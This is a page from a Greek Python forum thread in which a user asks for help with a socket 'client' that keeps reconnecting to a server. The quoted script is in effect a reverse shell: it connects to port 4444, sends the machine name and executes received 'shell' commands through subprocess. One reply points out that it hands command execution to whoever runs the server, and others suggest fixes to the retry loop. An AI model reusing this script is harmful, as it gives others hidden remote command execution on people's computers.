Συζήτηση
Γεια χαρά, Επισκέπτης
Όνομα χρήστη: Κωδικός: Να με θυμάσαι
  • Σελίδα:
  • 1
  • 2
  • 3

ΘΕΜΑ: python socket client script

python socket client script 6 Χρόνια 4 Μήνες πριν #4894

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
ναι δηλαδη αν το τρεξω σε διαφορετικα μηχανηματα δεν θα εχω προβλημα.Νομιζω πως βρηκα ενα tutorial στο youtube που λογικα θα με βοηθησει.Σε ευχαριστω πολυ για την βοηθεια σου.
Τελευταία διόρθωση: 6 Χρόνια 4 Μήνες πριν από tassos18.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 4 Μήνες πριν #4895

  • Αποστόλης
  • Το Άβαταρ του/της Αποστόλης
  • Αποσυνδεμένος
  • pytho_
  • Δημοσιεύσεις: 148
  • Ληφθείσες Ευχαριστίες 24
Οχι, δεν θα έχεις με εξαίρεση το port. Εκεί ίσως να σου χτυπήσει, αν είναι πιασμένο το port.
Αλλά ατό δεν είναι τίποτα. Το αλλάζεις.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 4 Μήνες πριν #4896

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
Αυτο με το port το γνωριζω.Σε ευχαριστω και παλι.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 4 Μήνες πριν #4898

  • babaliaris1
  • Το Άβαταρ του/της babaliaris1
  • Αποσυνδεμένος
  • python
  • Δημοσιεύσεις: 445
  • Ληφθείσες Ευχαριστίες 75
tassos18 έγραψε:
καλησπερα, εχω δημιουργησει ενα σκριπτακι server-client και θελω ο client να τρεχει συνεχεια στο ενα συστημα και οταν ξεκινει ο server να γινεται η συνδεση. Παραθετω και τον κωδικα
import socket
import os
import subprocess
 
 
def connect():
    global host
    global port
    global s
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    port = 4444
    host = '127.0.0.1'
 
    while 1:
 
        try:
            s.connect((host, port))
            break
 
        except ConnectionRefusedError:
            continue
 
    s.send(os.environ['COMPUTERNAME'])
 
 
 
def receive():
    receive = s.recv(1024)
    if receive == 'quit':
        s.close()
    elif receive[0:5] == 'shell':
        proc2 = subprocess.Popen(receive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_val = proc2.stdout.read() + proc2.stderr.read()
        args = stdout_val
    else:
        args = 'no valid input was given'
        send(args)
 
def send(args):
    send = s.send(args)
    receive()
 
 
 
connect()
receive()
s.close()

Προσπαθείς να συνδεθείς συνέχεια και συνέχεια μέχρι να μην σου πετάξει το exception ConnectionRefusedError που συνήθως σημένει ότι ο server δεν είναι ανοικτός η δίνεις λάθος ip και port.
Τελευταία διόρθωση: 6 Χρόνια 4 Μήνες πριν από babaliaris1.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 4 Μήνες πριν #4901

  • Theo
  • Το Άβαταρ του/της Theo
  • Αποσυνδεμένος
  • pytho_
  • Δημοσιεύσεις: 249
  • Ληφθείσες Ευχαριστίες 70
Δεν υπάρχει client που τρέχει συνέχεια μέχρι να συνδεθεί στον server. Προφανώς τα έχεις μπερδέψει.
Επίσης με αυτό που κάνεις επιτρέπεις στον άλλον "server" να εκτελεί στον υπολογιστή σου εντολές. Εκτός αν θέλεις να δώσεις σε κάποιον πρόσβαση αλλιώς δεν έχει νόημα.

Το όλο πρόγραμμα πρέπει να τρέχει σε ξεχωριστό thread και εκεί που έχεις
except ConnectionRefusedError:
            continue
κάντο να κοιμάται 1 δευτερόλεπτο να μπορείς αν χρειαστείς να το σπάσεις
δηλαδή
except ConnectionRefusedError:
	    time.sleep(1)
            continue
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.
  • Σελίδα:
  • 1
  • 2
  • 3
Συντονιστές: pmav99
Χρόνος δημιουργίας σελίδας: 0.268 δευτερόλεπτα

Μοιράσου το!

Powered by CoalaWeb

Λίστα Ταχυδρομείου